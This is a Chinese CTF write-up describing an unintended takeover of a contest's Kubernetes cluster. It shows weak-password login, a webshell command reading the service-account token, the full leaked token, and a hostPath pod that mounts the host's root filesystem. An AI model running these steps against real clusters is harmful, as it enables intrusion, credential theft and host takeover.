前言
最近對雲安全這塊比較感興趣,學了一波k8s的架構和操作,正好遇上了華為雲的這一場比賽,收獲頗多。
(甚至通過非預期拿下了平台題目集群的最高權限)。
0x00 題目入口發現
拿到題目發現是一個類似於提供IaaS服務的站點,掃描了一波目錄,發現幾個文件以及路由:
phpinfo.php robots.txt admin/ login/ static/
挺奇怪的是,在一個存在phpinfo的環境下發現了一個beego框架后端的403界面:

初步猜測是.php的文件交給了nginx fastcgi進行處理,而其他路由則是交給了beego進行處理。
接着我們先看/admin路由,發現存在一個隱藏的表單

因此自然的想到使用burpsuite進行弱口令的爆破,發現存在弱口令 admin:admin
登錄成功后返回了兩個url, 下載 tools.zip,同時根據名字猜測/wsproxy是一個websocket的代理路由,而查看tools的源碼發現是一個wsproxy的客戶端程序。

至此,我們找到了進入內網的通道。
0x01 wsproxy 進入內網
直接對拿到的tools源碼進行編譯,獲得客戶端連接程序

根據使用說明,我們可以通過簡單的命令連接上題目的wsproxy,同時密碼為tools源碼目錄下的 pass.txt(UAF),session就是我們登陸admin后,題目給的beego session

這樣會在本地的1080端口開啟一個 socks5 代理,通過這個代理,我們就能夠連入內網。
0x02 phpinfo泄露k8s集群信息
由於這道題目的名稱 Cloud以及在phpinfo.php 環境變量 中發現的大量service的信息以及k8s api-server地址,同時根據環境變量的名稱與值來看,這是一個k8s集群。而我們的題目屬於k8s集群中的一個pod。

0x03 k8s基礎架構介紹
在繼續深入下去之前,我們需要了解k8s的一些基礎架構

如上圖所示,我們可以看到,Kubernetes集群主要分為 Master和Node 兩部分,也是典型的分布式架構。
首先,外部應用程序通過Api-Server提供的 HTTP 接口與Master進行交互,而在與APIs進行交互前,需要經過一步認證的階段。而 Node由多個pod組成,pod中運行着的便是大家比較熟悉的容器(通常來說是docker),編寫的服務(app)就運行在這些pod中的容器內。
其次,我們若是想將我們的pod發布出去,使其能夠被公開訪問,就需要了解服務(Service)。我們將運行在一組 Pods 上的應用程序公開為網絡服務的抽象方法稱作服務,服務上一般配置了能夠被公開訪問的 ip地址、端口映射關系等,通過服務我們就能夠訪問到相應的pods。
每一個Node上都有一個被稱作節點代理的程序 kubelet,Node通過該程序向Api-Server匯報節點信息,以及接受相應的指令等。
從上面的架構中不難看出,如果我們要拿下整個集群,從外部看實際上就是需要獲得暴露在外的api-server提供的REST api的訪問權限。
0x04 k8s 認證 token 泄露 + 配置不當
通過上面一步淺顯的解了一下k8s的基礎架構,我們可以繼續往下看。
我們通過給的代理程序連接內網,訪問phpinfo中泄露的 k8s api-server https://10.247.0.1:443,發現api-server居然暴露在代理能夠直接訪問到的網段上,但是直接訪問提示我們401未授權,因此我們需要尋找一種可能的方式去通過此認證。

根據phpinfo.php文件中的內容來看,該集群中部署了很多很多的services,因此我們猜測所有的題目容器應該都是通過這個k8s進行編排管理的。
同時由於k8s集群部署的時候默認會在每個pod容器中掛載token文件到
/run/secrets/kubernetes.io/serviceaccount/token
文件中,因此我們是可以通過其他題目所拿到的shell拿到這個token。
ServiceAccount 主要包含了三個內容:namespace、Token 和 CA。namespace 指定了 pod 所在的 namespace,CA 用於驗證 apiserver 的證書,token 用作身份驗證。它們都通過 mount 的方式保存在 pod 的文件系統中,其中 token 保存的路徑是 /var/run/secrets/kubernetes.io/serviceaccount/token ,是 apiserver 通過私鑰簽發 token 的 base64 編碼后的結果
我們可以通過之前在 webshell_1題目所拿到的webshell,獲取到api-server認證token
http://124.70.199.12:32003/upload/71a6e9b8-90b6-4d4f-9acd-bd91c8bbcc5e.jsp?pwd=023&i=cat%20/run/secrets/kubernetes.io/serviceaccount/token

至此,我們已經獲得了api-server的訪問權限,因此就相當於我們獲取了k8s集群中的master權限。
0x05 獲取集群操縱權限
拿到了api-server的權限,我們就能夠隨心所欲的在集群中做想做的事了~ 其實做到這一步,大概就意識到這應該是一個平台漏洞,而不是本題的預期解法。因為拿到了master權限之后,我們已經能夠查看/控制所有的Pods(web題目),隨意的獲取我們想要題目的flag。
我們可以通過命令行工具 kubectl來對api-server進行操作。
創建一個k8s.yaml配置文件,如下,token處為我們上面拿到的token,server則填寫 api-server的地址
apiVersion: v1 clusters: - cluster: insecure-skip-tls-verify: true server: https://10.247.0.1 name: cluster-name contexts: - context: cluster: cluster-name namespace: test user: admin name: admin current-context: admin kind: Config preferences: {} users: - name: admin user: token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w
在本機通過題目的內網代理 執行以下命令遠程連接進入題目的k8s集群,成功通過認證。
kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true

至此,我們得到了訪問k8s api-server的權限,下面我們嘗試去獲取集群master宿主機的權限。
通過執行
kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true

可以看到,k8s的版本號為 v1.15.11,這個版本的k8s授權默認是不會開啟RBAC(基於角色的訪問控制)的。
在Kubernetes中,授權有ABAC(基於屬性的訪問控制)、RBAC(基於角色的訪問控制)、Webhook、Node、AlwaysDeny(一直拒絕)和AlwaysAllow(一直允許)這6種模式。從1.6版本起,Kubernetes 默認啟用RBAC訪問控制策略。從1.8開始,RBAC已作為穩定的功能。
因此如果運維在搭建集群環境的時候,沒有設置 --authorization-mode=RBAC ,那么我們就可以通過拿下集群中的一個pod的shell,從而獲取到token進行api-server的認證。很顯然,經過上面的驗證,運維在部署環境時並沒有開啟該訪問控制。
0x06 獲取master 宿主機權限
我們可以創建一個新的pod,通過文件掛載的方式,將宿主機根目錄的所有文件掛載到pod中,但是由於創建pod時,需要從遠程地址上拉取鏡像,而該題內網貌似是無法出網的,因此我們需要找一個已經拉取下來的本地鏡像文件。
執行以下命令,獲取當前已經拉取過的images:
kubectl --kubeconfig k8s.yaml get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |\ tr -s '[[:space:]]' '\n' |\ sort |\ uniq -c
結果如下:

嘗試幾個鏡像后,發現 100.125.4.222:20202/hwofficial/coredns:1.15.6是可以使用的
yaml配置如下:
apiVersion: v1 kind: Pod metadata: name: test-444 spec: containers: - name: test-444 image: 100.125.4.222:20202/hwofficial/coredns:1.15.6 volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / type: Directory
上述配置將宿主機的根目錄掛載到了我們pod中的 /host目錄,執行以下命令在default命名空間中創建該pod
kubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default --insecure-skip-tls-verify=true
再通過kubectl exec 進入我們的pod中,以實現對宿主機文件的控制。
kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default --insecure-skip-tls-verify=true
至此,我們所獲得的權限其實已經和主辦方運維同樣高了。。
0x07 獲取flag
通過以上的步驟,大概明白了這是一個非預期,平台配置token的泄露外加沒有開啟RBAC授權,導致我們輕易的就能夠獲取到了k8s集群的最高權限。因此我們也就獲得了該集群中所有題目容器的最高權限。
在整個集群中,我們需要尋找屬於我們隊伍的pod,以便獲得對應的flag。
因此我們首先通過查詢在k8s中用於服務暴露的service信息:
kubectl --kubeconfig k8s.yaml get services -n default --insecure-skip-tls-verify=true

可以看到,列出了所有的service,同時還有集群ip以及端口映射的關系。這里我們就可以通過暴露在公網上的端口,來定位對應的service。
例如我們的公網端口為30067,則我們搜索30067端口

得到了我們題目pod所在的service,接着我們獲取這個service的詳細信息,以便得到pod name,命令如下:
kubectl --kubeconfig k8s.yaml describe service guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true

從這里大致可以看出,app名為guosai-34-15,因此我們相應的去所有的pod中尋找名為這一項的pod。
kubectl --kubeconfig k8s.yaml describe pods guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true
通過對我們獲取的數據的檢索,發現了這樣一個pod,通過比較虛擬ip與phpinfo中的信息,可以確定這個pod就是我們要找的那個。

因此便得到了屬於我們的pod。exec進入pod后,便可以得到flag。
0x08 總結
apiVersion: v1 clusters: - cluster: insecure-skip-tls-verify: true server: https://10.247.0.1 name: cluster-name contexts: - context: cluster: cluster-name namespace: test user: admin name: admin current-context: admin kind: Config preferences: {} users: - name: admin user: token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w
2.通過kubectl命令認證k8s(https://kubernetes.io/zh/docs/tasks/tools/install-kubectl-linux/),得到了訪問k8s api-server的權限
kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true
3.查看k8s版本(從1.6版本起,Kubernetes 默認啟用RBAC訪問控制策略。從1.8開始,RBAC已作為穩定的功能,1.6版本以下是不會開啟RBAC(基於角色的訪問控制)的)
kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true
4.創建一個新的pod,通過文件掛載的方式,將宿主機根目錄的所有文件掛載到pod中,但是由於創建pod時,需要從遠程地址上拉取鏡像,而該題內網貌似是無法出網的,因此我們需要找一個已經拉取下來的本地鏡像文件
執行以下命令,獲取當前已經拉取過的images:
kubectl --kubeconfig k8s.yaml get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |\
tr -s '[[:space:]]' '\n' |\
sort |\
uniq -c
5.嘗試幾個鏡像后,發現 100.125.4.222:20202/hwofficial/coredns:1.15.6是可以使用的
yaml配置如下:
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: 100.125.4.222:20202/hwofficial/coredns:1.15.6
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
上述配置將宿主機的根目錄掛載到了我們pod中的 /host目錄
6.執行以下命令在default命名空間中創建該pod
kubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default --insecure-skip-tls-verify=true
7.再通過kubectl exec 進入我們的pod中,以實現對宿主機文件的控制
kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default --insecure-skip-tls-verify=true
8.通過查詢在k8s中用於服務暴露的service信息
kubectl --kubeconfig k8s.yaml get services -n default --insecure-skip-tls-verify=true
9.獲取這個service的詳細信息,以便得到pod name
kubectl --kubeconfig k8s.yaml describe service guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true
10.app名為guosai-34-15,因此我們相應的去所有的pod中尋找名為這一項的pod。
kubectl --kubeconfig k8s.yaml describe pods guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true